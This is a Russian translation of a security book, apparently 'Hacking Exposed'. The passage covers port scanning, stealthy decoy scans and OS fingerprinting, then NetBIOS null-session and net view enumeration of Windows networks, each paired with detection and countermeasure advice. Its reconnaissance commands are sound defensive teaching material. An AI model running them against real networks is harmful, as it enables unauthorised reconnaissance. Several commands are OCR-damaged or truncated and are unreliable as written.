192.168.1.1 Запрос на получение маски подсети выглядит следующим образом. [tsunami] icmpquery -m 192.168.1.1 Далеко не все маршрутизаторы/узлы отвечают на ICMP-запросы TIMESTAMP или NETMASK. Поэтому с помощью утилит icmpquery и icmpush на различных узлах можно получить разные результаты.
Контрмеры: защита от ЮМР-запросов Одним из самых лучших методов защиты является блокирование IOМР-запросов тех типов, которые способствуют разглашению информации о сети за ее пределами. Как минимум, на пограничном маршрутизаторе необходимо заблокировать прохождение во внутреннюю сеть пакетов TIMESTAMP (ICMP-сообщение тип 13) и ADDRESS MASK (тип 17). Например, если в качестве пограничного маршрутизатора используется маршрутизатор Cisco, запретите ему отвечать на указанные запросы, добавив следующие строки в список управления доступом. access-list 101 Для выявления рассмотренных выше видов деятельности можно также воспользоваться сетевыми системами выявления вторжений V(NIDS), например, программой Марти Рош (Marty Roach) (http://www.snort.org/). При выявлении такого типа вторжений будет выведена следующая информация. [**] PING-ICMP Timestamp [**]
Сканирование портов С помощью ICMP- или TCP-прослушивания мы установили, какие компьютеры исследуемой сети подключены к Internet. Кроме того, вся требуемая информация собрана также и с использованием запросов ICMP. Теперь можно перейти к этапу сканирования портов этих компьютеров. Сканирование портов (port scanning) — это процесс пробного подключения к портам TCP и UDP исследуемого компьютера с целью определения, какие службы на нем запущены и обслуживаются ли ими соответствующие порты. Обслуживаемые порты могут находиться в работающем состоянии или в состоянии ожидания запроса (listening mode). Определение портов, находящихся в состоянии ожидания запроса, — этап, имеющий определяющее значение для последующего выяснения типа используемой операционной системы, а также работающих на компьютере прикладных программ. Активные службы, находящиеся в состоянии ожидания, могут предоставить взломщику возможность получить несанкционированный доступ. Это обычно происходит в том случае, когда система безопасности компьютера не настроена должным образом или в программном обеспечении имеются хорошо известные изъяны в системе защиты. За последние несколько лет средства и методы сканирования портов были значительно усовершенствованы. Учитывая ограниченный объем книги, мы рассмотрим лишь самые популярные из них, с помощью которых можно получить значительную часть важной информации. Теперь мы уже не будем пытаться определить, подключен ли тот или иной компьютер к Internet, как это делалось ранее. Для упрощения задачи будем считать, что мы это уже установили однозначно и сосредоточимся лишь на методике выявления портов, находящихся в состоянии ожидания, или возможных точек проникновения в исследуемую систему.
|
Типы сканирования Прежде чем перейти к описанию конкретных средств, используемых для сканирования портов, необходимо уделить немного времени обзору методов сканирования, известных в настоящее время. Одним из пионеров реализации различных методов сканирования является ранее упоминавшийся Федор (Fyodor). Многочисленные приемы сканирования были реализованы им в утилите nmар. Многие из описанных в данной книге методов сканирования были предложены самим Федором.
А UDP-сканирование (UDP scan). Данный метод заключается в отправке на исследуемый узел пакетов по протоколу UDP. Если в ответ поступает сообщение о том, что порт ICMP недоступен (ICMP port unreachabie), это означает, что соответствующий порт закрыт. С другой стороны, если такого сообщения нет, можно предположить, что данный порт открыт. В связи с тем, что протокол UDP не гарантирует доставки, точность данного метода очень сильно зависит от множества факторов, влияющих на использование системных и сетевых ресурсов. Кроме того, UDP-сканирование — очень медленный процесс, что особенно сказывается при попытках сканирования устройств, в которых реализован мощный алгоритм фильтрации пакетов. Поэтому, планируя использовать UDP-сканирование, приготовьтесь к тому, что результаты могут оказаться ненадежными. |
Идентификация запущенных TCP- и UDP-служб Использование хорошей утилиты сканирования портов — важнейший этап сбора информации об исследуемой сети. Хотя для этих целей существует много различных программ, ориентированных как на платформу UNIX, так и на платформу Windows NT, мы ограничимся рассмотрением лишь самых популярных и проверенных временем сканеров. strobe Утилита strobe — это общепризнанный и популярный TCP-сканер портов, написанный Джулианом Ассанжем (Julian Assange) (ftp://ftp.FreeBSD.org/pub/ FreeBSD/ports/distfiles/strobe-l.06.tgz). Она стала известной уже довольно давно и, вне всякого сомнения, считается одной из самых быстрых и надежных утилит этого класса. К основным возможностям утилиты strobe относится оптимизация системных и сетевых ресурсов, а также сканирование исследуемой системы с максимальной эффективностью. Помимо высокой эффективности, утилита strobe версии 1.04 и выше может собирать идентификационные маркеры (если, конечно, они имеются), связанные с каждым проверяемым портом. Эта информация может оказаться полезной при определении операционной системы, а также запущенных на компьютере службах. Подробнее процесс сбора маркеров (banner grabbing) будет рассматриваться в главе 3. [tsunami] strobe 192.168.1.10 Хотя в большинстве случаев утилита strobe предоставляет точные данные, все же важно помнить о некоторых ее ограничениях. Во-первых, данная утилита выполняет TCP-сканирование, не поддерживая сканирование по протоколу UDP. Поэтому в некоторых случаях можно получить лишь половину требуемой информации. Во-вторых, при соединении с каждым портом утилита strobe выполняет лишь TCP-сканирование подключением. Хотя именно этим и объясняется высокая надежность получаемых результатов, в то же время использование утилиты strobe очень легко выявить на исследуемой системе. Поэтому необходимо рассмотреть и другие утилиты сканирования, лишенные указанных недостатков. udp_scan Для UDP-сканирования, которого не выполняет strobe, можно воспользоваться утилитой udp_scan, которая изначально входила в пакет SATAN (Security Administrator Tool for Analyzing Networks), написанный Дэном Фармером (Dan Farmer) и Вайетсом Венема (Wietse Venema) в 1995 году. Хотя сам пакет SATAN несколько устарел, входящие в его состав утилиты по-прежнему можно использовать. Кроме того, по адресу http://wwdsilx.wwdsi.com можно получить новую версию пакета SATAN, которая теперь называется SAINT. Несмотря на наличие множества других утилит UDP-сканирования, мы пришли к выводу, что udp_scan — одна из самых надежных утилит, позволяющая получать достоверные результаты. Правда, необходимо сказать также о том, что, несмотря на высокую надежность утилиты udp_scan, у нее имеется и один существенный недостаток. Эта утилита не может противостоять контратаке какого-либо из пакетов IDS, который осведомлен о методах, используемых в пакете SATAN для сканирования портов. Таким образом, если сканирование необходимо выполнить более скрытно, поишите какое-нибудь другое средство. Обычно с помощью утилиты udp_scan проверяются порты с номерами, меньшими 1024, а также некоторые определенные порты с большими номерами. ;tsunami] udp_scan 192.168.1.1 1-1024 netcat Еще одной прекрасной утилитой является netcat (или nc), написанная Хоббитом (Hobbit, hobbit@avian.org). Эта утилита может выполнять так много различных задач, что была названа нами "швейцарским армейским ножом". Помимо остальных возможностей, о которых мы еще не раз будем говорить на протяжении всей книги, утилита nc позволяет применять основные методы TCP- и UDP-сканирования. Степенью детализации выводимых данных можно управлять с помощью параметров -v и -vv, которые включают, соответственно, режимы подробного и очень подробного отображения результатов. Параметр -z применяется для включения режима нулевого ввода-вывода (zero mode I/O), используемого для сканировании портов, а параметр -..2 позволяет задать для каждого соединения интервал ожидания. По умолчанию утилита пс выполняет TCP-сканирование, а для UDP-сканирования необходимо использовать параметр -и (как показано во втором примере). tsunami] nc -v -z -w2 192.168.1.1 1-140 nmap Рассмотрев простейшие средства сканирования портов, давайте перейдем к обсуждению возможностей безусловного лидера этой категории — утилиты nmap. Данная утилита, разработанная Федором (Fyodor) (http://www.insecure.org/nmap), обладает не только базовыми возможностями TCP- и UDP-сканирования, но и поддерживает все остальные упоминавшиеся выше методы. Очень редко можно найти утилиту, которая предоставляла бы столь богатый набор возможностей в одном пакете. Итак, запустим утилиту и посмотрим, какие возможности она предоставляет. [tsunami]# nmap -h Помимо вышеуказанных, утилита nmap предоставляет и другие полезные возможности, заслуживающие детального обсуждения. Так, в приведенном выше примере мы ис-ПОЛЬЗОЕИЛИ параметры командной строки, при которых осуществлялось сканирование одного узла. Однако утилита nmap с такой же легкостью позволяет сканировать и всю сеть. Как легко заметить, nmap поддерживает описания диапазонов адресов в нотации CIDR (Classless Inter-Domain Routing — бесклассовая маршрутизация доменов Internet), описанной в RFC 1519 (http://www.ietf.org/rfc/rfcl519.txt). В этом формате очень легко задавать диапазоны адресов вида 192.168.1.1-192.168.1.254. Полученную информацию можно сохранить в обычном текстовом файле с помощью параметра -о. При указании параметра -oN результаты будут сохранены в удобочитаемом формате. [tsunami] nmap -sS 192.168.1.1 -D 10.1.1.1 В приведенном примере параметры, введенные в командной строке утилиты nmap, обеспечивают сканирование в режиме, затрудняющем обнаружение реального адреса сканирующего узла. [tsunami] nmap -I 192.168.1.10 В приведенном выше фрагменте показано, как идентифицируются владельцы всех обнаруженных процессов. Опытный читатель должен обратить внимание на то, что Web-сервер принадлежит не пользователю nobody, как это должно быть в соответствии с элементарными правилами обеспечения безопасности, а пользователю root, что является вопиющим нарушением. Выполнив идентификацию процессов и установив такой интересный факт, можно заключить, что взломщик, которому удастся проникнуть через систему защиты Web-сервера, получит полный контроль над данным компьютером. |
Утилиты сканирования портов для системы Windows В предыдущих разделах были рассмотрены утилиты сканирования портов с точки зрения пользователя UNIX, однако неужели не существует аналогичных средств, доступных для пользователей Windows? Конечно же, это не так. Следующие утилиты сканирования портов являются лучшими среди подобных средств, поскольку обладают высокой скоростью, точностью и широким набором функциональных возможностей. NetScanTools Pro 2000 Одним из наиболее универсальных средств исследования сетей, доступных в настоящее время, является пакет NetScanTools Pro 2000 (NSTP2K), содержащий самые разнообразные утилиты, объединенные общим интерфейсом. С использованием NSTP2K можно генерировать запросы DNS, включая nslookup, dig и axf r, запросы whois, осуществлять ping-прослушивание, сканировать таблицы имен NetBIOS, отслеживать сообщения SNMP и выполнять многие другие задачи. Более того, с использованием пакета NetScanTools Pro 2000 можно выполнять несколько задач одновременно. Например, можно выполнять сканирование портов одной сети и осуществлять ping-прослушивание другой сети (хотя мы не можем ручаться за правильность таких действий по отношению к большим сетям). SuperScan Утилита SuperScan, написанная Робином Кейром (Robin Keir) (http: //members. home.com/rkeir/software.html), является еще одной быстрой и гибкой утилитой TCP-сканирования портов и имеет гораздо более привлекательную стоимость — она распространяется бесплатно! Как и пакет NSTP2K, утилита SuperScan позволяет гибко задавать перечень IP-адресов исследуемых узлов и сканируемых портов. Особенно удобно использовать режим Extract from file (рис. 2.4). Лучше всего особенности его применения описаны в справочной системе. Вот небольшой фрагмент из справочной системы утилиты SuperScan, из которого видно, что она позволяет сэкономить значительную часть времени.
"Режим [The "Extract from file" feature scans] позволяет просматривать содержимое любого текстового файла и извлекать из него корректные IP-адреса и имена узлов. При поиске корректных имен программой выполняются достаточно интеллектуальные действия. Однако перед обработкой файла из него нужно удалить потенциально неоднозначные фрагменты текста, воспользовавшись внешним текстовым редактором. На кнопках Browse и Extract можно щелкать столько раз, сколько различных файлов имеется в вашем распоряжении. При этом в список имен исследуемых узлов программой будут добавлены все новые имена. Все повторяющиеся элементы будут автоматически удалены. После нахождения всех имен узлов щелкните на кнопке Resolve, чтобы преобразовать их в числовые IP-адреса и выполнить подготовку к этапу сканирования портов." NTOScanner Утилита NTOScanner компании NTObjectives, Inc. (http://www.ntobjectives.com) представляет собой быструю программу TCP-сканирования с графическим интерфейсом, которая при ручной установке соответствующего режима позволяет также собирать маркеры портов, находящихся в состоянии ожидания запросов. Однако эта утилита имеет некоторые неудобства при задании исследуемых узлов и портов, а также требует, чтобы перед сканированием сетей класса С к узлам было применено ping-прослушивание. Утилита NTOScanner чрезвычайно полезна для определения служб, запущенных на конкретном узле или в сети, достижимой с помощью ICMP-пакетов. На рис. 2.5 показана утилита NTOScanner в процессе получения маркеров с удаленного зашумленного узла. WinScan Утилита WinScan компании Scan Mathias of Prosolve (http://www.prosolve.com) является свободно распространяемой программой TCP-сканирования портов, реализованной в двух версиях: с графическим интерфейсом (winscan.exe) и для использования в командной строке (scan.exe). Мы регулярно обращаемся к версии для командной строки в файлах сценариев, поскольку при сканировании сетей класса С она позволяет получить удобные для анализа результаты. При использовании утилит Win32 strings, tee и tr компании Mortice Kern Systems, Inc. (http://www.mks.com) следующая консольная команда NT будет выполнять сканирование сети для портов из диапазона 0-1023 и формировать результат в виде строк с полями, разделенными двоеточиями, в формате IP-адрес:имя_службы: порт/протокол (для облегчения восприятия строка была разделена на две части). scan.exe -n 192.168.7.0 -s 0 -е 1023 -f|strings|findstr/с:"/top"| Параметр -f при медленных соединениях лучше не использовать, поскольку полученные результаты могут оказаться не очень надежными. При запуске приведенной выше команды будут получены примерно следующие данные. 192.168.22.5:nbsession:139/tcp Большое спасибо Патрику Хейму (Patrick Heim) и Ясону Глассбергу (Jason Glassberg) за предоставление этой интересной команды.
С:\Toolbox>ipeye.exe
WUPS Утилита Windows UDP Port Scanner (WUPS) разработана теми же авторами (http://ntsecurity.nu). Эта утилита представляет собой надежное, с графическим интерфейсом и относительно быстрое средство сканирования UDP-портов, несмотря на то, что позволяет одновременно сканировать заданную последовательность портов лишь одного узла. Как видно из рис. 2.6, утилита WUPS является надежным средством для быстрого UDP-сканирования каждого требуемого узла и, следовательно, значительно облегчает выполнение этой утомительной задачи.
|
Защита от сканирования портов В табл. 2.2 приведен перечень различных популярных утилит сканирования, а также типы сканирования, которые эти утилиты позволяют выполнять. Контрмеры: защита от сканирования портов Выявление факта сканирования Таблица 2.2. Популярные утилиты сканирования портов и их возможности
Метод UDP-сканирования утилиты netcat не работает в операционной системе Windows NT, поэтому пользователям этой ОС не стоит доверять полученным результатам. # Алгоритм выявления факта сканирования Для выявления попыток сканирования портов можно также воспользоваться утилитой snort (www.snort.org) (см. также http://spyjurenet.com/linuxrc.org/projects/ snort/). Как вы могли догадаться, эта утилита является одной из предпочитаемых нами программ IDS (заметим, что ее версии 1.x не позволяют обнаруживать фрагментацию пакетов). Вот пример листинга, содержащего данные о попытке сканирования портов. [**] spp_portscan: PORTSCAN DETECTED from 192.168.1.10 [**] Для платформы UNIX существует немало утилит, таких, например, как Утилита: scanlogd (http://www.openwall.com/scanlogd/) компании Solar Designer, которые выявляют и регистрируют попытки сканирования. Кроме того, утилиту Psionic PortSentry, созданную в рамках проекта Abacus (http://www.psionic.com/abacus), можно настроить не только на регистрацию, но и на принятие контрмер при выявлении факта активного сканирования. Один из способов борьбы с попытками сканирования портов заключается в автоматической установке для ядра правил фильтрации, когда к уже существующим добавляется новое правило, запрещающее доступ со стороны узла-нарушителя. Такое правило можно задать в конфигурационном файле утилиты PortSentry. При этом одно и то же правило может отличаться в различных системах. Для системы Linux 2.2.x, в которой имеется поддержка ядра брандмауэра, в файл portsentry.conf нужно добавить запись, аналогичную следующей. # New ipchain support for Linux kernel version 2.102+ Утилита PortSentry совместима с большинством версий UNIX, включая Solaris. Независимо от того, применяете ли вы какие-либо утилиты или нет, необходимо помнить, что массированные попытки сканирования портов, инициируемые каким-либо узлом или какой-нибудь сетью, могут означать, что кто-то изучает вашу сеть. Всегда обращайте самое пристальное внимание на такие действия, поскольку за ними может последовать полномасштабное вторжение. И наконец, не забывайте о том, что имеется возможность активного противостояния или блокирования попыток сканирования портов. Все эти вопросы рассматриваются в статье, опубликованной компанией Solar Designer (http://www. openwall.com/scanlogd/P53-13.gz). В этой статье содержатся дополнительные советы по разработке и использованию систем выявления попыток сканирования. Еще одним детектором сканирования для системы Windows, заслуживающем отдельного упоминания, является программа BlackICE (рис. 2.7) компании Network ICE (http://www.-networkice.com). Данная программа представляет первое основанное на использовании агентов средство выявления вторжений, которое можно использовать как в Windows 9х, так и в NT. В момент написания данной книги этот программный продукт был коммерческим, хотя в ближайшем будущем компания обещает подготовить свободно распространяемую версию. И наконец, программа ZoneAlarm (http://www.zonelabs.com/zonealarm.htm) хорошо подходит для платформы Windows и может применяться в качестве средства IDS на уровне брандмауэра.
Предотвращение сканирования Вряд ли можно помешать кому-либо предпринять попытку сканирования портов на вашем компьютере, однако вполне реально свести к минимуму связанный с этим риск. Для этого нужно заблокировать все службы, в работе которых нет необходимости. В среде UNIX данная задача решается с помощью добавления символов комментария в соответствующие строки файла /etc/inetd. corif, а также отключения автоматического запуска ненужных служб в сценарии начальной загрузки. Более подробно эти вопросы освещены в главе 8, "Хакинг UNIX". Активное определение операционной системы Итак, мы убедились, что существует множество различных приемов и средств сканирования портов. Вспомните, что при сканировании портов преследуется две основные цели. Во-первых, нужно установить, какие TCP- и UDP-порты на исследуемом компьютере находятся в состоянии ожидания запросов. Во-вторых, необходимо определить тип операционной системы, используемой на удаленном узле. Информация об операционной системе понадобится на последующих этапах, при составлении схемы уязвимых участков. Об этом речь пойдет в последующих главах. Важно помнить, что при этом необходимо быть особенно точным и внимательным к мелочам. Именно поэтому очень важно абсолютно правильно установить тип удаленной операционной системы. При определении типа ОС очень полезной оказывается косвенная информация, получаемая, например с помощью сбора маркеров, о которых мы поговорим в главе 3. При этом будет собрана информация о таких службах, как FTP, telnet, SMTP, HTTP, POP и других. Сбор маркеров — это один из самых простых методов определения типа операционной системы, а также версий работающих под ее управлением служб. Нетрудно догадаться, что существуют различные средства, призванные помочь в решении этой задачи. Среди доступных можно отметить две утилиты, позволяющие получить самые точные результаты, — уже хорошо нам известная nmар и утилита queso. Точность результатов, выдаваемых обеими утилитами, объясняется, прежде всего, тем, что обе они предоставляют возможность исследования стека протоколов TCP/IP (stack fingerprinting). |
Активное исследование стека Прежде чем перейти к рассмотрению возможностей утилит nmap и queso, необходимо вкратце пояснить, в чем же состоит суть исследования стека TCP/IP. Исследование стека (stack fingerprinting) — это очень мощная технология, позволяющая быстро определить тип и версию операционной системы узла с высокой степенью вероятности. Очевидно, что разные разработчики по-разному подходят к реализации стека TCP/IP. В частности, многие разработчики по-своему трактуют рекомендации документов RFC, что впоследствии проявляется в логике работы тех или иных сетевых служб. Таким образом, зная о существующих различиях и проверив реакцию служб изучаемой системы на различные ситуации, можно практически однозначно определить тип и версию соответствующей операционной системы. Для достижения максимальной достоверности при исследовании стека требуется по крайней мере один порт, находящийся в режиме ожидания запросов. С помощью утилиты nmap можно выдвинуть предположение об используемой операционной системе даже при отсутствии таких портов, однако степень его достоверности в этом случае будет невысокой. Полное описание процесса исследования стека можно найти в статье Федора (Fyodor), впервые публикованной в журнале Phrack Magazine.
Для того чтобы воспользоваться утилитой nmap и выполнить все перечисленные тесты (за исключением обработки фрагментации и обработки сообщений об ошибках ICMP), достаточно указать в командной строке параметр -о. Давайте посмотрим, как будет выглядеть полученный результат. [tsunami] nmap -0192.168.1.10 Как видно, при включении режима исследования стека утилиты nmap можно легко получить достаточно точное определение типа и версии операционной системы. Даже если на изучаемом узле не открыто ни одного порта, утилита nmap поможет сделать довольно точное предположение об используемой операционной системе. [ tsunami]# nmap -p80 -0 10.10.10.10 Как видно из приведенного листинга, утилита nmap даже без открытых портов, правильно определила операционную систему Linux. [tsunami] queso 10.10.10.20:25
Контрмеры: защита от определения операционной системы Обнаружение попыток определения операционной системы Многие из упоминавшихся выше средств выявления сканирования с успехом могут служить и для обнаружения попыток определения типа операционной системы, Хотя они не проинформируют вас о том, что выполнялось специальное сканирование с помощью утилиты nmap или queso, с их помощью все же удастся распознать сам факт такого особого сканирования, например с установкой флага SYN. Предупреждение попыток определения операционной системы Хотелось бы посоветовать какое-нибудь средство, позволяющее противодействовать попыткам определения операционной системы, однако, к сожалению, вынуждены констатировать, что решить эту проблему весьма непросто. Конечно, можно изменить исходный код операционной системы (естественно, если он имеется в вашем распоряжении) или поменять ее параметры, влияющие на характеристики стека, однако такое вмешательство может значительно изменить функциональность ОС. Например, в системе FreeBSD 4.x имеется параметр ядра TCP_DROP_SYNFIN, который можно применить для игнорирования пакетов SYN+FIN, используемых утилитой nmap в целях исследования стека. Установка этого параметра поможет пресечь попытки определения типа операционной системы, однако в то же время нарушит поддержку RFC 1644 (TCP Extensions for Transactions). Пассивное определение операционной системы Из предыдущих разделов видно, насколько эффективными оказываются средства активного исследования стека, такие как утилиты nmap и queso. Важно не забывать о том, что рассмотренные выше приемы являются активными по своей природе. При этом для определения специфических особенностей сетевого стека и используемой операционной системы каждому узлу нужно передавать тестовые пакеты. Поскольку все активные методы предполагают передачу пакетов, системам выявления вторжений относительно просто выявить все предпринимаемые попытки идентификации операционной системы. Другими словами, активное исследование является далеко не самым скрытым методом, к которому может прибегнуть взломщик. |
Пассивное исследование стека Основные принципы пассивного исследования стека аналогичны концепциям, лежащим в основе его активного исследования. Однако в данном случае вместо передачи пакетов для определения используемой операционной системы взломщик осуществляет мониторинг сетевого трафика. Таким образом, наблюдая за сетевым трафиком между различными компьютерами, можно определить тип и версию удаленной операционной системы. Большие исследования в этой области были проведены Ланцом Спитзнером (Lance Spitzner). На их основе была написана книга, которую можно найти по адресу http://www.enteract.com/~lspitz/finger.html. Кроме ТОГО, по адресу http://www.subterrain.net/projects/siphon можно также найти утилиту siphon, предназначенную для пассивного исследования портов и идентификации операционной системы. Теперь познакомимся с тем, как же выполняется пассивное исследование стека. Параметры, используемые для пассивного исследования стека Для определения типа и версии операционной системы можно использовать самые разнообразные признаки. Однако сейчас мы ограничимся рассмотрением лишь нескольких атрибутов, связанных с сеансом сетевого взаимодействия с помощью протокола TCP/IP.
Проанализировав каждый из атрибутов и сравнив полученные результаты со значениями из имеющейся базы данных, можно определить удаленную операционную систему. Поскольку этот метод не гарантирует получения правильного ответа на основе каждого из атрибутов в отдельности, для получения более надежных результатов атрибуты можно комбинировать. Именно такой подход и используется утилитой siphon. 06/04-11:23:48.297976 192.168.1.11:23 -> 192.168.1.10:2295 При этом видно, что упоминавшиеся выше атрибуты принимают следующие значения:
Теперь обратимся к базе данных утилиты siphon — файлу osprints.conf: [shadow]f grep -i Solaris osprints.conf Из приведенного фрагмента видно, что в четвертой записи содержатся те же значения, которые были получены с использованием утилиты snort. Таким образом, с помощью утилиты siphon можно точно определить исследуемую операционную систему. [crush]# siphon -v -i xl0 -о fingerprint.out Итак, в качестве удаленной была определена система Solaris 2.6. И это .не вызвало особых проблем. Solaris: ndd -set /dev/ip ip_def_ttl 'число'
Контрмеры: защита от пассивного определения операционной системы Для защиты от пассивного определения операционной системы можно использовать приемы, описанные в разделе "Контрмеры: Защита От Определения Операционной Системы". |
Средства автоматического сбора информации Помимо описанных в данной главе, существует огромное количество других средств, и каждый день этот список увеличивается. Поскольку в рамках одной книги описать все эти средства невозможно, вкратце остановимся лишь на двух из них. Рис. 2.8. Пакет cheops с графическим интерфейсом объединяет многие популярные утилиты исследования сетей Вторая утилита, на которой мы остановимся, называется tkined и входит в состав пакета Scotty (http://wwwhome.cs.utwente.nl/~schoenw/scotty/). По существу, эта утилита является редактором сетевого редактирования, написанным на языке Tel, который, объединяет различные средства управления сетью, обеспечивающие сбор всевозможной информации об архитектуре и работе сети. Утилита tkined обладает большой гибкостью и позволяет проводить исследование сети с представлением результатов в графической форме. Хотя с ее помощью нельзя определить тип операционной системы, она обеспечивает выполнение большинства операций, описанных как в данной главе, так и главе 1. Кроме утилиты tkined, в состав пакета Scotty входит немало других интересных средств, заслуживающих самого пристального внимания. Контрмеры: защита от средств автоматического сбора информации
Поскольку в автоматизированных средствах, подобных Scotty, tkined и cheops, объединены приемы, о которых рассказывалось выше в данной главе, для защиты от них можно применять контрмеры, аналогичные тем, которые применяются для соответствующих средств сбора информации, сканирования и т.д. |
Резюме В данной главе мы рассмотрели средства и методы, предназначенные для осуществления ping-прослушивания (как с помощью протокола ICMP, так и с помощью TCP), сканирования портов и определения типа операционной системы. С помощью средств ping-прослушивания можно идентифицировать узлы сети, подключенные к Internet, что позволяет сузить область поиска потенциальных целей. Затем с помощью бесчисленного множества различных методов и средств TCP- и UDP-сканирования можно установить службы, которые запущены на этих узлах и находятся в состоянии ожидания запросов, а также сделать предположения о степени уязвимости исследуемых систем. И наконец, мы рассмотрели, как взломщик может использовать программное обеспечение, предназначенное для определения типа и номера версии операционной системы, под управлением которой работает исследуемый узел. В следующей главе вы увидите, что собранная до сих пор информация очень важна для того, чтобы осуществить сфокусированную атаку. |
Глава 3. ИНВЕНТАРИЗАЦИЯ
|
Инвентаризация Собрав полное "досье" на исследуемую сеть и "прощупав" систему ее защиты, хакер, скорее всего, на этом не остановится. Следующим шагом на пути к проникновению в систему будет получение информации о пользовательских учетных записях или плохо защищенных совместно используемых ресурсах. Для сбора такой информации существует много различных способов, которым дали общее название — инвентаризация (enumeration). В данной главе подробно рассматриваются основные методы, используемые в процессе инвентаризации.
Методика инвентаризации в значительной степени зависит от операционной системы (именно поэтому так важна информация, полученная на этапе сканирования портов и установления типа и версии операционной системы, о чем шла речь в главе 2). Зная, какая информация может заинтересовать хакера и насколько хорошо ваша система ее скрывает, вы можете предпринять ответные меры, которые позволят защитить самые уязвимые участки. |
Инвентаризация Windows NT/2000 За все время своего существования Windows NT заслужила репутацию системы, которая предоставляет общедоступную информацию по любому удаленному запросу. В основном это осуществляется через протоколы передачи данных CIFS/SMB (Common Internet File System/Server Message Block), от которых в значительной степени зависит работа сетевых служб. Хотя в Win 2000 имеется возможность автономного использования протокола TCP/IP без протокола NetBIOS, она получила в наследство все недостатки своей предшественницы. Система Win 2000 содержит также несколько новых возможностей, которые могут заинтересовать случайного сборщика информации. В данной главе будут обсуждаться и старые, и новые особенности, а также рекомендуемые действия, с помощью которых можно защитить ценную информацию еще до того момента, когда кто-либо соберет достаточное количество информации для крупномасштабной атаки. Windows NT/2000 Hacking Kit Начиная с версии Windows NT 3.1 компания Microsoft предлагает за отдельную плату дополнительный комплект документации и компакт-диск, на котором собрано множество утилит для администрирования сетей на базе Windows NT — Windows NT Resource Kit (как в варианте Workstation, так и в варианте Server). В комплект NTRK (так мы будем называть его далее в этой книге) входит обширная подборка различных утилит, начиная от частично реализованного интерпретатора популярного языка сценариев Perl, позволяющего перенести на платформу NT многие популярные утилиты UNIX, и заканчивая утилитами удаленного администрирования, не входящими в стандартный комплект поставки Windows NT. Без данного комплекта не может обойтись ни один серьезный администратор NT. Интерпретатор языка Perl, имеющийся в комплекте NTRK, предоставляет не такие широкие возможности, как комплект для Windows от компании ActiveState, который можно найти по адресу http://www.activestate.com. В комплект W2RK компанией Microsoft включена версия ActivePerl Build 521 компании ActiveState. Если вы планируете использовать язык Perl в Windows, мы советуем обратиться именно к этой реализации, поскольку многие из рассматриваемых в книге утилит, реализованных на этом языке, в случае применения интерпретатора Perl из набора NTRK работают некорректно.Хотя сознательным администраторам NT/2000 мы настоятельно рекомендуем приобретать все комплекты NTRK и отслеживать все новшества, не устанавливайте их на действующих серверах. В противном случае вы обратите оружие против себя! Для обеспечения требуемой функциональности устанавливайте лишь наиболее важные утилиты. Для хранения поместите на съемный или сетевой диск все утилиты NTRK и используйте их лишь при необходимости.
Нулевые соединения: "Священный Грааль" инвентаризации Как уже упоминалось, системы Windows NT/2000 имеют ахиллесову пяту при использовании протоколов CIFS/SMB и NetBIOS в режиме, используемом по умолчанию. В состав стандартов CIFS/SMB и NetBIOS входят программные интерфейсы, возвращающие различную информацию о компьютере через порт TCP с номером 139. Такие данные смогут получить даже те пользователи, которые не были аутентифицированы. Первым шагом на пути получения удаленного доступа к этим интерфейсам является создание простого, без аутентификации, соединения с системой NT/2000 с помощью так называемого нулевого сеанса (null session). Предполагается, что в результате ранее выполненного сканирования портов было установлено, что TCP-порт 139 находится в состоянии ожидания запросов. Такое соединение можно установить с помощью следующей команды. Нулевой сеанс: контрмеры При установке нулевого соединения требуется доступ к TCP-порту 139, так что наиболее правильный путь предотвращения такой опасности состоит в фильтрации запросов по протоколу NetBIOS к портам TCP и UDP с номерами от 135 до 139 по всему периметру сетевых устройств управления доступом. Необходимо также запретить использование протокола NetBIOS поверх TCP/IP и на отдельных узлах, отсоединив клиент WINS (TCP/IP) от соответствующего интерфейса с помощью аплета Network панели управления. В системе Windows 2000 для этого нужно запустить аплет соответствующего сетевого подключения, открыть диалоговое окно Advanced TCP/IP Settings, перейти во вкладку WINS и отключить режим Disable NetBIOS Over TCP/IP. В системе Win 2000 используется еще порт 8MB с номером 445, который позволяет получить аналогичную информацию. Более подробные сведения и описание методов защиты содержатся в главе 6. Начиная с третьего сервисного пакета системы NT компания Microsoft предложила механизм, позволяющий предотвратить опасность извлечения важной информации с помощью нулевых соединений без отключения режима использования протокола NetBIOS поверх TCP/IP (хотя мы по-прежнему рекомендуем сделать это, если в службах NetBIOS нет необходимости). Этот механизм был назван RestrictAnonymous — по названию соответствующего параметра системного реестра. Для его использования выполните следующие действия.
Одним из самых примечательных исключений из этого правила является утилита sid2user (описываемая в разделе "Инвентаризация Пользователей И Групп NT/2000"), которая продолжает функционировать даже при включенном режиме RestrictAnonymous. Более подробную информацию можно найти в статье Q143474 системы Knowledge Base компании Microsoft по адресу http://search.support.microsoft.com. Для получения более подробного технического описания можно обратиться к статье о хакинге служб NetBIOS CIFS: Common insecurities Fail Scrutiny Хобита, которую можно найти по адресу http://www.avian.org или в документах RFC 1001 и 1002, где содержится спецификация передачи данных по протоколам NetBIOS и TCP/UDP. |
Инвентаризация сетевых ресурсов NT/2000 Первое, что может попробовать осуществить удаленный взломщик после скрупулезного изучения сети, — это получить представление об имеющихся в ней ресурсах. Сначала мы рассмотрим инвентаризацию ресурсов NetBIOS, а затем перейдем к инвентаризации служб TCP/IP, которые в большинстве случаев функционируют в системах NT/2000. Инвентаризация NetBIOS Средства и приемы, которые можно применять к изучению ресурсов сети с протоколом NetBIOS, можно найти без труда — большинство из них встроено в саму операционную систему! Именно с них мы и начнем. Затем вы познакомитесь с некоторыми утилитами сторонних производителей. Возможные контрмеры лучше рассматривать в самом конце обсуждения, поскольку одновременно решить все проблемы гораздо проще. Инвентаризация доменов NT/2000 с помощью команды net view В качестве одного из самых ярких примеров встроенных инструментов можно привести команду net view. Это чрезвычайно простая утилита командной строки систем NT/2000, которая позволяет просмотреть все домены сети, а также практически все компьютеры доменов. Вот как выполнить инвентаризацию доменов в сети с использованием команды net view: C:\>net view /domain С помощью следующей команды будут перечислены все компьютеры определенного домена. C:\>net view /domain:corleone He забывайте о том, что можно использовать информацию, полученную с помощью ping-прослушивания (глава 2), и подставить IP-адреса вместо имен NetBIOS отдельных компьютеров. Обычно IP-адреса и имена NetBIOS взаимозаменяемы (например, \\192.168.202.5 эквивалентно \\SERVER_NAME). Для удобства взломщики зачастую добавляют соответствующие записи с ключевым словом #PRE В свой файл %systemroot%\system32\drivers\etc\LMHOSTS, а затем запускают в командной строке команду nbtstat -R, чтобы перезагрузить буфер таблицы имен. С этого момента при атаке можно без проблем использовать имя NetBIOS, которое автоматически будет преобразовываться в соответствующий IP-адрес, заданный в файле LMHOSTS.
